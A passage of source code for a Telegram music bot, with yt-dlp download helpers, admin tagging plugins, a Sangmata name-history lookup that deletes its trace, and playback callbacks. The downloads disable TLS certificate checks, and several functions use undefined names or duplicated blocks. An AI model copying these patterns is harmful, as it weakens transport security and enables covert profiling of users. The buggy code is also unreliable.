def video_dl():
ydl_optssx = {
"format": "(bestvideo[height<=?720][width<=?1280][ext=mp4])+(bestaudio[ext=m4a])",
"outtmpl": "downloads/%(id)s.%(ext)s",
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
"cookiefile" : cookie_txt_file(),
"no_warnings": True,
}
x = yt_dlp.YoutubeDL(ydl_optssx)
info = x.extract_info(link, False)
xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}")
if os.path.exists(xyz):
return xyz
x.download([link])
return xyz
def song_video_dl():
formats = f"{format_id}+140"
fpath = f"downloads/{title}"
ydl_optssx = {
"format": formats,
"outtmpl": fpath,
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
"no_warnings": True,
"cookiefile" : cookie_txt_file(),
"prefer_ffmpeg": True,
"merge_output_format": "mp4",
}
x = yt_dlp.YoutubeDL(ydl_optssx)
x.download([link])
def song_audio_dl():
fpath = f"downloads/{title}.%(ext)s"
ydl_optssx = {
"format": format_id,
"outtmpl": fpath,
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
"no_warnings": True,
"cookiefile" : cookie_txt_file(),
"prefer_ffmpeg": True,
"postprocessors": [
{
"key": "FFmpegExtractAudio",
"preferredcodec": "mp3",
"preferredquality": "192",
}
],
}
x = yt_dlp.YoutubeDL(ydl_optssx)
x.download([link])
if songvideo:
await loop.run_in_executor(None, song_video_dl)
fpath = f"downloads/{title}.mp4"
return fpath
elif songaudio:
await loop.run_in_executor(None, song_audio_dl)
fpath = f"downloads/{title}.mp3"
return fpath
elif video:
if await is_on_off(1):
direct = True
downloaded_file = await loop.run_in_executor(None, video_dl)
else:
proc = await asyncio.create_subprocess_exec(
"yt-dlp",
"--cookies",cookie_txt_file(),
"-g",
"-f",
"best[height<=?720][width<=?1280]",
f"{link}",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await proc.communicate()
if stdout:
downloaded_file = stdout.decode().split("\n")[0]
direct = False
else:
file_size = await check_file_size(link)
if not file_size:
print("None file Size")
return
total_size_mb = file_size / (1024 * 1024)
if total_size_mb > 250:
print(f"File size {total_size_mb:.2f} MB exceeds the 100MB limit.")
return None
direct = True
downloaded_file = await loop.run_in_executor(None, video_dl)
else:
direct = True
downloaded_file = await loop.run_in_executor(None, audio_dl)
return downloaded_file, direct
================================================
FILE: BrandrdXMusic/platforms/__init__.py
================================================
from .Apple import AppleAPI
from .Carbon import CarbonAPI
from .Resso import RessoAPI
from .Soundcloud import SoundAPI
from .Spotify import SpotifyAPI
from .Telegram import TeleAPI
from .Youtube import YouTubeAPI
================================================
FILE: BrandrdXMusic/plugins/__init__.py
================================================
import glob
from os.path import dirname, isfile
def __list_all_modules():
work_dir = dirname(__file__)
mod_paths = glob.glob(work_dir + "/*/*.py")
all_modules = [
(((f.replace(work_dir, "")).replace("/", "."))[:-3])
for f in mod_paths
if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py")
]
return all_modules
ALL_MODULES = sorted(__list_all_modules())
__all__ = ALL_MODULES + ["ALL_MODULES"]
================================================
FILE: BrandrdXMusic/plugins/admins/Sangmata.py
================================================
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.types import Message
from pyrogram.raw.functions.messages import DeleteHistory
from BrandrdXMusic import userbot as us, app
from BrandrdXMusic.core.userbot import assistants
@app.on_message(filters.command("sg"))
async def sg(client: Client, message: Message):
if len(message.text.split()) < 1 and not message.reply_to_message:
return await message.reply("sg username/id/reply")
if message.reply_to_message:
args = message.reply_to_message.from_user.id
else:
args = message.text.split()[1]
lol = await message.reply("Processing...")
if args:
try:
user = await client.get_users(f"{args}")
except Exception:
return await lol.edit("Please specify a valid user!")
bo = ["sangmata_bot", "sangmata_beta_bot"]
sg = random.choice(bo)
if 1 in assistants:
ubot = us.one
try:
a = await ubot.send_message(sg, f"{user.id}")
await a.delete()
except Exception as e:
return await lol.edit(e)
await asyncio.sleep(1)
async for stalk in ubot.search_messages(a.chat.id):
if stalk.text == None:
continue
if not stalk:
await message.reply("botnya ngambek")
elif stalk:
await message.reply(f"{stalk.text}")
break
try:
user_info = await ubot.resolve_peer(sg)
await ubot.send(DeleteHistory(peer=user_info, max_id=0, revoke=True))
except Exception:
pass
await lol.delete()
================================================
FILE: BrandrdXMusic/plugins/admins/all_tag.py
================================================
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
from BrandrdXMusic import app
from BrandrdXMusic.utils.branded_ban import admin_filter
SPAM_CHATS = []
@app.on_message(
filters.command(["all", "mention", "mentionall"], prefixes=["/", "@", ".", "#"])
& admin_filter
)
async def tag_all_users(_, message):
replied = message.reply_to_message
if len(message.command) < 2 and not replied:
await message.reply_text(
"** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@all Hi Friends`"
)
return
if replied:
SPAM_CHATS.append(message.chat.id)
usernum = 0
usertxt = ""
async for m in app.get_chat_members(message.chat.id):
if message.chat.id not in SPAM_CHATS:
break
usernum += 1
usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n"
if usernum == 5:
await replied.reply_text(usertxt)
await asyncio.sleep(2)
usernum = 0
usertxt = ""
try:
SPAM_CHATS.remove(message.chat.id)
except Exception:
pass
else:
text = message.text.split(None, 1)[1]
SPAM_CHATS.append(message.chat.id)
usernum = 0
usertxt = ""
async for m in app.get_chat_members(message.chat.id):
if message.chat.id not in SPAM_CHATS:
break
usernum += 1
usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n"
if usernum == 5:
await app.send_message(
message.chat.id,
f"{text}\n{usertxt}\n\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /cancel ||",
)
await asyncio.sleep(2)
usernum = 0
usertxt = ""
try:
SPAM_CHATS.remove(message.chat.id)
except Exception:
pass
@app.on_message(
filters.command(
[
"stopmention",
"offall",
"cancel",
"allstop",
"stopall",
"cancelmention",
"offmention",
"mentionoff",
"alloff",
"cancelall",
"allcancel",
],
prefixes=["/", "@", "#"],
)
& admin_filter
)
async def cancelcmd(_, message):
chat_id = message.chat.id
if chat_id in SPAM_CHATS:
try:
SPAM_CHATS.remove(chat_id)
except Exception:
pass
return await message.reply_text("**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**")
else:
await message.reply_text("**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**")
return
================================================
FILE: BrandrdXMusic/plugins/admins/assistant_tag.py
================================================
import asyncio
from pyrogram import filters
from pyrogram.enums import ChatMembersFilter
from pyrogram.errors import FloodWait
from BrandrdXMusic.utils.database import get_assistant
from BrandrdXMusic import app
from BrandrdXMusic.utils.branded_ban import admin_filter
SPAM_CHATS = []
@app.on_message(
filters.command(
["atag", "aall", "amention", "amentionall"], prefixes=["/", "@", ".", "#"]
)
& admin_filter
)
async def atag_all_useres(_, message):
userbot = await get_assistant(message.chat.id)
if message.chat.id in SPAM_CHATS:
return await message.reply_text(
"ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss ɪs ᴀʟʀᴇᴀᴅʏ ʀᴜɴɴɪɴɢ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ sᴛᴏᴘ sᴏ ᴜsᴇ /acancel"
)
replied = message.reply_to_message
if len(message.command) < 2 and not replied:
await message.reply_text(
"** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@aall Hi Friends`"
)
return
if replied:
SPAM_CHATS.append(message.chat.id)
usernum = 0
usertxt = ""
async for m in app.get_chat_members(message.chat.id):
if message.chat.id not in SPAM_CHATS:
break
usernum += 1
usertxt += f"[{m.user.first_name}](tg://openmessage?user_id={m.user.id})"
if usernum == 14:
await userbot.send_message(
message.chat.id,
f"{replied.text}\n\n{usertxt}",
disable_web_page_preview=True,
)
await asyncio.sleep(2)
usernum = 0
usertxt = ""
try:
SPAM_CHATS.remove(message.chat.id)
except Exception:
pass
else:
text = message.text.split(None, 1)[1]
SPAM_CHATS.append(message.chat.id)
usernum = 0
usertxt = ""
async for m in app.get_chat_members(message.chat.id):
if message.chat.id not in SPAM_CHATS:
break
usernum += 1
usertxt += f'{m.user.first_name}'
if usernum == 14:
await userbot.send_message(
message.chat.id, f"{text}\n{usertxt}", disable_web_page_preview=True
)
await asyncio.sleep(2)
usernum = 0
usertxt = ""
try:
SPAM_CHATS.remove(message.chat.id)
except Exception:
pass
async def cancelcmd(_, message):
chat_id = message.chat.id
if chat_id in SPAM_CHATS:
try:
SPAM_CHATS.remove(chat_id)
except Exception:
pass
return await message.reply_text("**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**")
else:
await message.reply_text("**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**")
return
================================================
FILE: BrandrdXMusic/plugins/admins/auth.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.utils import extract_user, int_to_alpha
from BrandrdXMusic.utils.database import (
delete_authuser,
get_authuser,
get_authuser_names,
save_authuser,
)
from BrandrdXMusic.utils.decorators import AdminActual, language
from BrandrdXMusic.utils.inline import close_markup
from config import BANNED_USERS, adminlist
@app.on_message(filters.command("auth") & filters.group & ~BANNED_USERS)
@AdminActual
async def auth(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
token = await int_to_alpha(user.id)
_check = await get_authuser_names(message.chat.id)
count = len(_check)
if int(count) == 25:
return await message.reply_text(_["auth_1"])
if token not in _check:
assis = {
"auth_user_id": user.id,
"auth_name": user.first_name,
"admin_id": message.from_user.id,
"admin_name": message.from_user.first_name,
}
get = adminlist.get(message.chat.id)
if get:
if user.id not in get:
get.append(user.id)
await save_authuser(message.chat.id, token, assis)
return await message.reply_text(_["auth_2"].format(user.mention))
else:
return await message.reply_text(_["auth_3"].format(user.mention))
@app.on_message(filters.command("unauth") & filters.group & ~BANNED_USERS)
@AdminActual
async def unauthusers(client, message: Message, _):
if not message.reply_to_message:
if len(message.command) != 2:
return await message.reply_text(_["general_1"])
user = await extract_user(message)
token = await int_to_alpha(user.id)
deleted = await delete_authuser(message.chat.id, token)
get = adminlist.get(message.chat.id)
if get:
if user.id in get:
get.remove(user.id)
if deleted:
return await message.reply_text(_["auth_4"].format(user.mention))
else:
return await message.reply_text(_["auth_5"].format(user.mention))
@app.on_message(
filters.command(["authlist", "authusers"]) & filters.group & ~BANNED_USERS
)
@language
async def authusers(client, message: Message, _):
_wtf = await get_authuser_names(message.chat.id)
if not _wtf:
return await message.reply_text(_["setting_4"])
else:
j = 0
mystic = await message.reply_text(_["auth_6"])
text = _["auth_7"].format(message.chat.title)
for umm in _wtf:
_umm = await get_authuser(message.chat.id, umm)
user_id = _umm["auth_user_id"]
admin_id = _umm["admin_id"]
admin_name = _umm["admin_name"]
try:
user = (await app.get_users(user_id)).first_name
j += 1
except:
continue
text += f"{j}➤ {user}[{user_id}]\n"
text += f" {_['auth_8']} {admin_name}[{admin_id}]\n\n"
await mystic.edit_text(text, reply_markup=close_markup(_))
================================================
FILE: BrandrdXMusic/plugins/admins/callback.py
================================================
import asyncio
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from BrandrdXMusic import YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.misc import SUDOERS, db
from BrandrdXMusic.utils.database import (
get_active_chats,
get_lang,
get_upvote_count,
is_active_chat,
is_music_playing,
is_nonadmin_chat,
music_off,
music_on,
set_loop,
)
from BrandrdXMusic.utils.decorators.language import languageCB
from BrandrdXMusic.utils.formatters import seconds_to_min
from BrandrdXMusic.utils.inline import (
close_markup,
stream_markup,
stream_markup_timer,
)
from BrandrdXMusic.utils.stream.autoclear import auto_clean
from BrandrdXMusic.utils.thumbnails import get_thumb
from config import (
BANNED_USERS,
SOUNCLOUD_IMG_URL,
STREAM_IMG_URL,
TELEGRAM_AUDIO_URL,
TELEGRAM_VIDEO_URL,
adminlist,
confirmer,
votemode,
)
from strings import get_string
checker = {}
upvoters = {}
@app.on_callback_query(filters.regex("ADMIN") & ~BANNED_USERS)
@languageCB
async def del_back_playlist(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
command, chat = callback_request.split("|")
if "_" in str(chat):
bet = chat.split("_")
chat = bet[0]
counter = bet[1]
chat_id = int(chat)
if not await is_active_chat(chat_id):
return await CallbackQuery.answer(_["general_5"], show_alert=True)
mention = CallbackQuery.from_user.mention
if command == "UpVote":
if chat_id not in votemode:
votemode[chat_id] = {}
if chat_id not in upvoters:
upvoters[chat_id] = {}
voters = (upvoters[chat_id]).get(CallbackQuery.message.id)
if not voters:
upvoters[chat_id][CallbackQuery.message.id] = []
vote = (votemode[chat_id]).get(CallbackQuery.message.id)
if not vote:
votemode[chat_id][CallbackQuery.message.id] = 0
if CallbackQuery.from_user.id in upvoters[chat_id][CallbackQuery.message.id]:
(upvoters[chat_id][CallbackQuery.message.id]).remove(
CallbackQuery.from_user.id
)
votemode[chat_id][CallbackQuery.message.id] -= 1
else:
(upvoters[chat_id][CallbackQuery.message.id]).append(
CallbackQuery.from_user.id
)
votemode[chat_id][CallbackQuery.message.id] += 1
upvote = await get_upvote_count(chat_id)
get_upvotes = int(votemode[chat_id][CallbackQuery.message.id])
if get_upvotes >= upvote:
votemode[chat_id][CallbackQuery.message.id] = upvote
try:
exists = confirmer[chat_id][CallbackQuery.message.id]
current = db[chat_id][0]
except:
return await CallbackQuery.edit_message_text(f"ғᴀɪʟᴇᴅ.")
try:
if current["vidid"] != exists["vidid"]:
return await CallbackQuery.edit_message.text(_["admin_35"])
if current["file"] != exists["file"]:
return await CallbackQuery.edit_message.text(_["admin_35"])
except:
return await CallbackQuery.edit_message_text(_["admin_36"])
try:
await CallbackQuery.edit_message_text(_["admin_37"].format(upvote))
except:
pass
command = counter
mention = "ᴜᴘᴠᴏᴛᴇs"
else:
if (
CallbackQuery.from_user.id
in upvoters[chat_id][CallbackQuery.message.id]
):
await CallbackQuery.answer(_["admin_38"], show_alert=True)
else:
await CallbackQuery.answer(_["admin_39"], show_alert=True)
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=f"👍 {get_upvotes}",
callback_data=f"ADMIN UpVote|{chat_id}_{counter}",
)
]
]
)
await CallbackQuery.answer(_["admin_40"], show_alert=True)
return await CallbackQuery.edit_message_reply_markup(reply_markup=upl)
else:
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
if CallbackQuery.from_user.id not in SUDOERS:
admins = adminlist.get(CallbackQuery.message.chat.id)
if not admins:
return await CallbackQuery.answer(_["admin_13"], show_alert=True)
else:
if CallbackQuery.from_user.id not in admins:
return await CallbackQuery.answer(
_["admin_14"], show_alert=True
)
if command == "Pause":
if not await is_music_playing(chat_id):
return await CallbackQuery.answer(_["admin_1"], show_alert=True)
await CallbackQuery.answer()
await music_off(chat_id)
await Hotty.pause_stream(chat_id)
await CallbackQuery.message.reply_text(
_["admin_2"].format(mention), reply_markup=close_markup(_)
)
elif command == "Resume":
if await is_music_playing(chat_id):
return await CallbackQuery.answer(_["admin_3"], show_alert=True)
await CallbackQuery.answer()
await music_on(chat_id)
await Hotty.resume_stream(chat_id)
await CallbackQuery.message.reply_text(
_["admin_4"].format(mention), reply_markup=close_markup(_)
)
elif command == "Stop" or command == "End":
await CallbackQuery.answer()
await Hotty.stop_stream(chat_id)
await set_loop(chat_id, 0)
await CallbackQuery.message.reply_text(
_["admin_5"].format(mention), reply_markup=close_markup(_)
)
await CallbackQuery.message.delete()
elif command == "Skip" or command == "Replay":
check = db.get(chat_id)
if command == "Skip":
txt = f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
popped = None
try:
popped = check.pop(0)
if popped:
await auto_clean(popped)
if not check:
await CallbackQuery.edit_message_text(
f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
)
await CallbackQuery.message.reply_text(
text=_["admin_6"].format(
mention, CallbackQuery.message.chat.title
),
reply_markup=close_markup(_),
)
try:
return await Hotty.stop_stream(chat_id)
except:
return
except:
try:
await CallbackQuery.edit_message_text(
f"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
)
await CallbackQuery.message.reply_text(
text=_["admin_6"].format(
mention, CallbackQuery.message.chat.title
),
reply_markup=close_markup(_),
)
return await Hotty.stop_stream(chat_id)
except:
return
else:
txt = f"➻ sᴛʀᴇᴀᴍ ʀᴇ-ᴘʟᴀʏᴇᴅ 🎄\n│ \n└ʙʏ : {mention} 🥀"
await CallbackQuery.answer()
queued = check[0]["file"]
title = (check[0]["title"]).title()
user = check[0]["by"]
duration = check[0]["dur"]
streamtype = check[0]["streamtype"]
videoid = check[0]["vidid"]
status = True if str(streamtype) == "video" else None
db[chat_id][0]["played"] = 0
exis = (check[0]).get("old_dur")
if exis:
db[chat_id][0]["dur"] = exis
db[chat_id][0]["seconds"] = check[0]["old_second"]
db[chat_id][0]["speed_path"] = None
db[chat_id][0]["speed"] = 1.0
if "live_" in queued:
n, link = await YouTube.video(videoid, True)
if n == 0:
return await CallbackQuery.message.reply_text(
text=_["admin_7"].format(title),
reply_markup=close_markup(_),
)
try:
image = await YouTube.thumbnail(videoid, True)
except:
image = None
try:
await Hotty.skip_stream(chat_id, link, video=status, image=image)
except:
return await CallbackQuery.message.reply_text(_["call_6"])
button = stream_markup2(_, chat_id)
img = await get_thumb(videoid)
run = await CallbackQuery.message.reply_photo(
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
duration,
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
elif "vid_" in queued:
mystic = await CallbackQuery.message.reply_text(
_["call_7"], disable_web_page_preview=True
)
try:
file_path, direct = await YouTube.download(
videoid,
mystic,
videoid=True,
video=status,
)
except:
return await mystic.edit_text(_["call_6"])
try:
image = await YouTube.thumbnail(videoid, True)
except:
image = None
try:
await Hotty.skip_stream(chat_id, file_path, video=status, image=image)
except:
return await mystic.edit_text(_["call_6"])
button = stream_markup(_, videoid, chat_id)
img = await get_thumb(videoid)
run = await CallbackQuery.message.reply_photo(
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
duration,
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
await mystic.delete()
elif "index_" in queued:
try:
await Hotty.skip_stream(chat_id, videoid, video=status)
except:
return await CallbackQuery.message.reply_text(_["call_6"])
button = stream_markup2(_, chat_id)
run = await CallbackQuery.message.reply_photo(
photo=STREAM_IMG_URL,
caption=_["stream_2"].format(user),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
else:
if videoid == "telegram":
image = None
elif videoid == "soundcloud":
image = None
else:
try:
image = await YouTube.thumbnail(videoid, True)
except:
image = None
try:
await Hotty.skip_stream(chat_id, queued, video=status, image=image)
except:
return await CallbackQuery.message.reply_text(_["call_6"])
if videoid == "telegram":
button = stream_markup2(_, chat_id)
run = await CallbackQuery.message.reply_photo(
photo=TELEGRAM_AUDIO_URL
if str(streamtype) == "audio"
else TELEGRAM_VIDEO_URL,
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], duration, user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif videoid == "soundcloud":
button = stream_markup2(_, chat_id)
run = await CallbackQuery.message.reply_photo(
photo=SOUNCLOUD_IMG_URL
if str(streamtype) == "audio"
else TELEGRAM_VIDEO_URL,
caption=_["stream_1"].format(
config.SUPPORT_CHAT, title[:23], duration, user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
button = stream_markup(_, videoid, chat_id)
img = await get_thumb(videoid)
run = await CallbackQuery.message.reply_photo(
photo=img,
caption=_["stream_1"].format(
f"https://t.me/{app.username}?start=info_{videoid}",
title[:23],
duration,
user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "stream"
await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))
async def markup_timer():
while not await asyncio.sleep(1):
active_chats = await get_active_chats()
for chat_id in active_chats:
try:
if not await is_music_playing(chat_id):
continue
playing = db.get(chat_id)
if not playing:
continue
duration_seconds = int(playing[0]["seconds"])
if duration_seconds == 0:
continue
try:
mystic = playing[0]["markup"]
except:
continue
try:
check = checker[chat_id][mystic.id]
if check is False:
continue
except:
pass
try:
language = await get_lang(chat_id)
_ = get_string(language)
except:
_ = get_string("en")
try:
mystic = playing[0]["mystic"]
markup = playing[0]["markup"]
except:
continue
try:
check = wrong[chat_id][mystic.id]
if check is False:
continue
except:
pass
try:
language = await get_lang(chat_id)
_ = get_string(language)
except:
_ = get_string("en")
try:
mystic = playing[0]["mystic"]
markup = playing[0]["markup"]
except:
continue
try:
check = wrong[chat_id][mystic.id]
if check is False:
continue
except:
pass
try:
language = await get_lang(chat_id)
_ = get_string(language)
except:
_ = get_string("en")
try:
buttons = (
stream_markup_timer(
_,
playing[0]["vidid"],
chat_id,
seconds_to_min(playing[0]["played"]),
playing[0]["dur"],
)
if markup == "stream"
else stream_markup_timer2(
_,
chat_id,
seconds_to_min(playing[0]["played"]),
playing[0]["dur"],
)
)
await mystic.edit_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
except:
continue
except:
continue
asyncio.create_task(markup_timer())
================================================
FILE: BrandrdXMusic/plugins/admins/entag.py
================================================
from BrandrdXMusic import app
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
spam_chats = []
EMOJI = [ "🦋🦋🦋🦋🦋",
"🧚🌸🧋🍬🫖",
"🥀🌷🌹🌺💐",
"🌸🌿💮🌱🌵",
"❤️💚💙💜🖤",
"💓💕💞💗💖",
"🌸💐🌺🌹🦋",
"🍔🦪🍛🍲🥗",
"🍎🍓🍒🍑🌶️",
"🧋🥤🧋🥛🍷",
"🍬🍭🧁🎂🍡",
"🍨🧉🍺☕🍻",
"🥪🥧🍦🍥🍚",
"🫖☕🍹🍷🥛",
"☕🧃🍩🍦🍙",
"🍁🌾💮🍂🌿",
"🌨️🌥️⛈️🌩️🌧️",
"🌷🏵️🌸🌺💐",
"💮🌼🌻🍀🍁",
"🧟🦸🦹🧙👸",
"🧅🍠🥕🌽🥦",
"🐷🐹🐭🐨🐻❄️",
"🦋🐇🐀🐈🐈⬛",
"🌼🌳🌲🌴🌵",
"🥩🍋🍐🍈🍇",
"🍴🍽️🔪🍶🥃",
"🕌🏰🏩⛩️🏩",
"🎉🎊🎈🎂🎀",
"🪴🌵🌴🌳🌲",
"🎄🎋🎍🎑🎎",
"🦅🦜🕊️🦤🦢",
"🦤🦩🦚🦃🦆",
"🐬🦭🦈🐋🐳",
"🐔🐟🐠🐡🦐",
"🦩🦀🦑🐙🦪",
"🐦🦂🕷️🕸️🐚",
"🥪🍰🥧🍨🍨",
" 🥬🍉🧁🧇",
]
TAGMES = [ " **※ ɪ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**",
" **※ ғᴏʀɢᴇᴛ ᴍᴇ..ᰔᩚ",
" **※ ɪ ᴅᴏɴ'ᴛ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**",
" **※ ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs ᴘɪʏᴀ, ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs...ᰔᩚ**",
" **※ ᴊᴏɪɴ ᴍʏ ɢʀᴏᴜᴘ ᴀʟsᴏ...ᰔᩚ**",
" **※ ɪ ᴋᴇᴘᴛ ʏᴏᴜʀ ɴᴀᴍᴇ ɪɴ ᴍʏ ʜᴇᴀʀᴛ...ᰔᩚ**",
" **※ ᴡʜᴇʀᴇ ᴀʀᴇ ᴀʟʟ ʏᴏᴜʀ ғʀɪᴇɴᴅs...ᰔᩚ**",
" **※ ɪɴ ᴡʜᴏsᴇ ᴍᴇᴍᴏʀʏ ᴀʀᴇ ʏᴏᴜ ʟᴏsᴛ ᴍʏ ʟᴏᴠᴇ...ᰔᩚ**",
" **※ ᴡʜᴀᴛs ʏᴏᴜʀ ᴘʀᴏғᴇssɪᴏɴ...ᰔᩚ**",
" **※ ᴡʜᴇʀᴇ ᴅɪᴅ ʏᴏᴜ ʟɪᴠᴇ...ᰔᩚ**",
" **※ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʙᴀʙʏ...ᰔᩚ**",
" **※ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɪᴛ's ᴠᴇʀʏ ʟᴀᴛᴇ...ᰔᩚ**",
" **※ ɪ ғᴇᴇʟ ᴠᴇʀʏ sᴀᴅ ᴛᴏᴅᴀʏ...ᰔᩚ**",
" **※ ᴛᴀʟᴋ ᴛᴏ ᴍᴇ ᴛᴏᴏ...ᰔᩚ**",
" **※ ᴡʜᴀᴛ's ғᴏʀ ᴅɪɴɴᴇʀ ᴛᴏᴅᴀʏ...ᰔᩚ**",
" **※ ᴡʜᴀᴛ's ɢᴏɪɴɢ ᴏɴ...ᰔᩚ**",
" **※ ᴡʜʏ ᴅᴏɴ'ᴛ ʏᴏᴜ ᴍᴇssᴀɢᴇ...ᰔᩚ**",
" **※ ɪ ᴀᴍ ɪɴɴᴏᴄᴇɴᴛ...ᰔᩚ**",
" **※ ɪᴛ ᴡᴀs ғᴜɴ ʏᴇsᴛᴇʀᴅᴀʏ, ᴡᴀsɴ'ᴛ ɪᴛ...ᰔᩚ**",
" **※ ᴡʜᴇʀᴇ ᴡᴇʀᴇ ʏᴏᴜ ʙᴜsʏ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**",
" **※ ʏᴏᴜ ʀᴇᴍᴀɪɴ sᴏ ᴄᴀʟᴍ ғʀɪᴇɴᴅ...ᰔᩚ**",
" **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ sɪɴɢ, sɪɴɢ...ᰔᩚ**",
" **※ ᴡɪʟʟ ʏᴏᴜ ᴄᴏᴍᴇ ғᴏʀ ᴀ ᴡᴀʟᴋ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**",
" **※ ᴀʟᴡᴀʏs ʙᴇ ʜᴀᴘᴘʏ ғʀɪᴇɴᴅ...ᰔᩚ**",
" **※ ᴄᴀɴ ᴡᴇ ʙᴇ ғʀɪᴇɴᴅs...ᰔᩚ**",
" **※ ᴀʀᴇ ʏᴏᴜ ᴍᴀʀʀɪᴇᴅ...ᰔᩚ**",
" **※ ᴡʜᴇʀᴇ ʜᴀᴠᴇ ʏᴏᴜ ʙᴇᴇɴ ʙᴜsʏ ғᴏʀ sᴏ ᴍᴀɴʏ ᴅᴀʏs...ᰔᩚ**",
" **※ ʟɪɴᴋ ɪs ɪɴ ʙɪᴏ, ᴛᴏ ᴊᴏɪɴ ɴᴏᴡ...ᰔᩚ**",
" **※ ʜᴀᴅ ғᴜɴ...ᰔᩚ**",
" **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜɪs ɢʀᴏᴜᴘ...ᰔᩚ**",
" **※ ᴅᴏ ʏᴏᴜ ᴇᴠᴇʀ ʀᴇᴍᴇᴍʙᴇʀ ᴍᴇ...ᰔᩚ**",
" **※ ʟᴇᴛ's ᴘᴀʀᴛʏ...ᰔᩚ**",
" **※ ʜᴏᴡ ᴄᴏᴍᴇ ᴛᴏᴅᴀʏ...ᰔᩚ**",
" **※ ʟɪsᴛᴇɴ ᴍᴇ...ᰔᩚ**",
" **※ ʜᴏᴡ ᴡᴀs ʏᴏᴜʀ ᴅᴀʏ...ᰔᩚ**",
" **※ ᴅɪᴅ ʏᴏᴜ sᴇᴇ...ᰔᩚ**",
" **※ ᴀʀᴇ ʏᴏᴜ ᴛʜᴇ ᴀᴅᴍɪɴ ʜᴇʀᴇ...ᰔᩚ**",
" **※ ᴀʀᴇ ʏᴏᴜ ɪɴ ʀᴇʟᴀᴛɪᴏɴsʜɪᴘ...ᰔᩚ**",
" **※ ᴀɴᴅ ʜᴏᴡ ɪs ᴛʜᴇ ᴘʀɪsᴏɴᴇʀ...ᰔᩚ**",
" **※ sᴀᴡ ʏᴏᴜ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**",
